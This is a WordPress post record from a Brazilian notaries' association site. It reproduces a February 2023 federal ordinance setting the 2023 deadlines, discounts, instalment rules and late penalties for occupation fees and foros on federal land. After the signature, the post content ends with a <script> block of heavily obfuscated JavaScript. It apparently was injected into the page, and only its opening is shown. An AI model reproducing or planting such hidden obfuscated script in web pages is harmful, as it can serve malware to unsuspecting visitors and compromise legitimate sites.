{"id":33864,"date":"2023-02-16T14:38:21","date_gmt":"2023-02-16T18:38:21","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=33864"},"modified":"2023-02-16T14:38:21","modified_gmt":"2023-02-16T18:38:21","slug":"portaria-fixa-os-prazos-para-cobranca-de-taxas-de-ocupacao-de-terrenos-da-uniao","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/portaria-fixa-os-prazos-para-cobranca-de-taxas-de-ocupacao-de-terrenos-da-uniao\/","title":{"rendered":"Portaria fixa os prazos para cobran\u00e7a de taxas de ocupa\u00e7\u00e3o de terrenos da Uni\u00e3o"},"content":{"rendered":"<header class=\"entry-header\">\n<p class=\"entry-title\" style=\"text-align: justify;\"><strong><em>PORTARIA SPU\/MGI N\u00ba 100, DE 13 DE FEVEREIRO DE 2023<\/em><\/strong><\/p>\n<\/header>\n<div class=\"entry-content\">\n<p style=\"text-align: justify;\"><em>Estabelece os prazos e as condi\u00e7\u00f5es para o lan\u00e7amento e cobran\u00e7a das taxas de ocupa\u00e7\u00e3o e foros de terrenos da Uni\u00e3o, relativo ao ano de 2023.<\/em><\/p>\n<p style=\"text-align: justify;\">A SECRET\u00c1RIA DE GEST\u00c3O DO PATRIM\u00d4NIO DA UNI\u00c3O, SUBSTITUTA, DO MINIST\u00c9RIO DA GEST\u00c3O E DA INOVA\u00c7\u00c3O EM SERVI\u00c7OS P\u00daBLICOS, no uso das atribui\u00e7\u00f5es que lhe confere o art. 39 do Anexo I do Decreto n\u00ba 11.345, de 1\u00ba de janeiro de 2023, e da compet\u00eancia que lhe foi subdelegada pelo inciso IV do art. 2\u00ba da Portaria SEDDM\/ME 12.485, de 20 de outubro de 2021, e tendo em vista o disposto nos arts. 2\u00ba e 6\u00ba-D do Decreto-Lei n\u00ba 2.398, de 21 de dezembro de 1987, e no \u00a7 9\u00ba do art. 11-B da Lei n\u00ba 9.636, de 15 de maio de 1998, resolve:<\/p>\n<p style=\"text-align: justify;\">Art. 1\u00ba O valor m\u00ednimo de lan\u00e7amento dos d\u00e9bitos de foro e taxas de ocupa\u00e7\u00e3o de terrenos da Uni\u00e3o ser\u00e1 de R$ 10,00 para o ano de 2023, em atendimento ao \u00a7 9\u00ba do art. 11-B da Lei n\u00ba 9.636, de 1998.<\/p>\n<p style=\"text-align: justify;\">Art. 2\u00ba O pagamento dos foros e das taxas de ocupa\u00e7\u00e3o de terrenos da Uni\u00e3o, relativo ao ano de 2023, poder\u00e3o ser realizados em cota \u00fanica, com vencimento em 30 de junho de 2023.<\/p>\n<p style=\"text-align: justify;\">Art. 3\u00ba As taxas de ocupa\u00e7\u00e3o e os foros, com lan\u00e7amentos gerados no processamento da Grande Emiss\u00e3o 2023 e que forem pagos em cota \u00fanica at\u00e9 o seu vencimento, ter\u00e3o o benef\u00edcio de at\u00e9 10% de desconto, observado que:<\/p>\n<p style=\"text-align: justify;\">I \u2013 para d\u00e9bitos de valor igual ou superior a R$ 11,11, o desconto para pagamento \u00e0 vista ser\u00e1 de 10%;<\/p>\n<p style=\"text-align: justify;\">II \u2013 para os d\u00e9bitos de valor entre R$ 10,01 e R$ 11,10, o percentual de desconto para pagamento \u00e0 vista ser\u00e1 aquele necess\u00e1rio para que o Documento de Arrecada\u00e7\u00e3o de Receitas Federais \u2013 DARF m\u00ednimo seja emitido.<\/p>\n<p style=\"text-align: justify;\">Art. 4\u00ba A crit\u00e9rio do ocupante ou foreiro, o pagamento de que trata o art. 2\u00ba poder\u00e1 ser efetuado em at\u00e9 sete cotas sucessivas, vencendo-se a primeira na mesma data prevista para pagamento da cota \u00fanica, dia 30 de junho de 2023, e as demais nos dias 31 de julho, 31 de agosto, 29 de setembro, 31 de outubro, 30 de novembro e 28 de dezembro de 2023, observadas as seguintes condi\u00e7\u00f5es:<\/p>\n<p style=\"text-align: justify;\">I \u2013 o pagamento em at\u00e9 sete cotas se aplica a d\u00e9bitos de valor igual ou superior a R$ 200,00 (duzentos reais);<\/p>\n<p style=\"text-align: justify;\">II \u2013 o valor de cada cota n\u00e3o poder\u00e1 ser inferior a R$100,00 (cem reais).<\/p>\n<p style=\"text-align: justify;\">Art. 5\u00ba Os d\u00e9bitos de foro e taxa de ocupa\u00e7\u00e3o n\u00e3o pagos at\u00e9 o vencimento, estipulado nos artigos 2\u00ba e 4\u00ba, ser\u00e3o acrescidos de:<\/p>\n<p style=\"text-align: justify;\">I \u2013 multa de mora, calculada \u00e0 taxa de 0,33% (trinta e tr\u00eas cent\u00e9simos por cento), por dia de atraso, at\u00e9 o limite de 20% (vinte por cento); e<\/p>\n<p style=\"text-align: justify;\">II \u2013 juros de mora equivalentes \u00e0 taxa referencial do Sistema Especial de Liquida\u00e7\u00e3o e de Cust\u00f3dia \u2013 SELIC para t\u00edtulos federais, acumulada mensalmente, do primeiro dia do m\u00eas posterior ao vencimento at\u00e9 o m\u00eas anterior ao efetivo pagamento, acrescida de 1% (um por cento) relativo ao m\u00eas do pagamento.<\/p>\n<p style=\"text-align: justify;\">Art. 6\u00ba O pagamento de taxa de ocupa\u00e7\u00e3o e foro, relativos ao exerc\u00edcio de 2023, decorrentes de novas inscri\u00e7\u00f5es de ocupa\u00e7\u00e3o ou aforamentos ocorridos ap\u00f3s o processo anual de lan\u00e7amento, poder\u00e1 ser realizado em cotas, na forma do art. 4\u00ba, com vencimento para o \u00faltimo dia \u00fatil de cada m\u00eas.<\/p>\n<p style=\"text-align: justify;\">\u00a71\u00ba No caso de pagamento em cotas previsto no caput deste artigo, o n\u00famero de cotas mensais concedidas ser\u00e1 equivalente \u00e0 quantidade de meses remanescentes do ano de 2023, contados a partir do m\u00eas subsequente ao do lan\u00e7amento.<\/p>\n<p style=\"text-align: justify;\">\u00a72\u00ba Para os lan\u00e7amentos constitu\u00eddos conforme o caput, ser\u00e1 concedido o desconto para pagamento em cota \u00fanica, previsto no art. 3\u00ba desta Portaria, desde que o pagamento seja efetuado at\u00e9 a data do vencimento da cota \u00fanica, prevista no art. 2\u00ba desta Portaria, ou at\u00e9 o \u00faltimo dia \u00fatil do exerc\u00edcio, o que ocorrer primeiro.<\/p>\n<p style=\"text-align: justify;\">Art. 7\u00ba A cobran\u00e7a das taxas de ocupa\u00e7\u00e3o e dos foros que trata a presente Portaria ser\u00e1 efetuada mediante remessa, apenas da cota \u00fanica, de Documento de Arrecada\u00e7\u00e3o de Receitas Federais \u2013 DARF aos domic\u00edlios fiscais dos ocupantes e foreiros.<\/p>\n<p style=\"text-align: justify;\">\u00a71\u00ba A partir de 1\u00ba de junho de 2023, sem preju\u00edzo da remessa mencionada no caput deste artigo, os ocupantes ou foreiros poder\u00e3o emitir o documento de arrecada\u00e7\u00e3o diretamente no site da Secretaria de Gest\u00e3o do Patrim\u00f4nio da Uni\u00e3o \u2013 SPU, no endere\u00e7o eletr\u00f4nico: www.patrimoniodetodos.gov.br, op\u00e7\u00e3o \u201cEmitir DARF para Pagamento de Taxas sobre Im\u00f3vel da Uni\u00e3o\u201d, ou por meio do aplicativo SPUApp, dispon\u00edvel nas loja Play Store e APP Store para dispositivos Android e IOS, respectivamente.<\/p>\n<p style=\"text-align: justify;\">\u00a72\u00ba Caso opte pelo pagamento em cotas, na forma prevista no art. 4\u00ba, os Documentos de Arrecada\u00e7\u00e3o de Receitas Federais \u2013 DARF dever\u00e3o ser obtidos exclusivamente no endere\u00e7o eletr\u00f4nico ou no aplicativo SPUApp, descritos no \u00a71\u00ba, sendo responsabilidade dos ocupantes e foreiros a sua emiss\u00e3o.<\/p>\n<p style=\"text-align: justify;\">\u00a73\u00ba Os foreiros ou ocupantes que n\u00e3o receberem o Documento de Arrecada\u00e7\u00e3o de Receitas Federais \u2013 DARF at\u00e9 a data do vencimento da cota \u00fanica, prevista no art. 1\u00ba, dever\u00e3o emiti-lo no endere\u00e7o eletr\u00f4nico ou no aplicativo SPUApp, mencionados no \u00a71\u00ba.<\/p>\n<p style=\"text-align: justify;\">Art. 8\u00ba As cobran\u00e7as relativas \u00e0 utiliza\u00e7\u00e3o de im\u00f3veis da Uni\u00e3o, referentes ao exerc\u00edcio de 2023, dever\u00e3o ser adiadas, mediante registro pelas Superintend\u00eancias do Patrim\u00f4nio da Uni\u00e3o nos sistemas informatizados da Secretaria de Gest\u00e3o do Patrim\u00f4nio da Uni\u00e3o, somente quando se enquadrarem nos motivos abaixo indicados:<\/p>\n<p style=\"text-align: justify;\">I \u2013 im\u00f3veis que apresentem inconsist\u00eancias no cadastro que possam gerar valores de cobran\u00e7as incorretos;<\/p>\n<p style=\"text-align: justify;\">II \u2013 im\u00f3veis que est\u00e3o sendo objeto de regulariza\u00e7\u00e3o fundi\u00e1ria, desde que o processo de regulariza\u00e7\u00e3o fundi\u00e1ria tenha possibilidade de ser conclu\u00eddo no exerc\u00edcio de 2023; ou<\/p>\n<p style=\"text-align: justify;\">III \u2013 outros motivos relacionados pelas Superintend\u00eancias do Patrim\u00f4nio da Uni\u00e3o, devidamente fundamentados.<\/p>\n<p style=\"text-align: justify;\">\u00a71\u00ba Os im\u00f3veis com cobran\u00e7as adiadas pelas Superintend\u00eancias dever\u00e3o ter o Registro Imobili\u00e1rio Patrimonial \u2013 RIP relacionado em processo SEI espec\u00edfico da Grande Emiss\u00e3o do exerc\u00edcio de 2023.<\/p>\n<p style=\"text-align: justify;\">\u00a72\u00ba Uma vez sanados os motivos que justificaram o adiamento das cobran\u00e7as relativas \u00e0 utiliza\u00e7\u00e3o de im\u00f3veis da Uni\u00e3o, referentes ao exerc\u00edcio de 2023, identificadas neste artigo, as Superintend\u00eancias do Patrim\u00f4nio da Uni\u00e3o dever\u00e3o promover o lan\u00e7amento e a cobran\u00e7a dos cr\u00e9ditos devidos \u00e0 Uni\u00e3o, quando couber.<\/p>\n<p style=\"text-align: justify;\">Art. 9\u00ba O Departamento de Gest\u00e3o de Receitas Patrimoniais \u2013 DEREP, subordinado \u00e0 Secretaria de Gest\u00e3o do Patrim\u00f4nio da Uni\u00e3o, expedir\u00e1 as instru\u00e7\u00f5es necess\u00e1rias ao cumprimento desta Portaria.<\/p>\n<p style=\"text-align: justify;\">Art. 10. Esta Portaria entra em vigor na data de sua publica\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\"><strong><em>CAMILA PORTO FASOLO<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Fonte<\/strong>: DOU<\/p>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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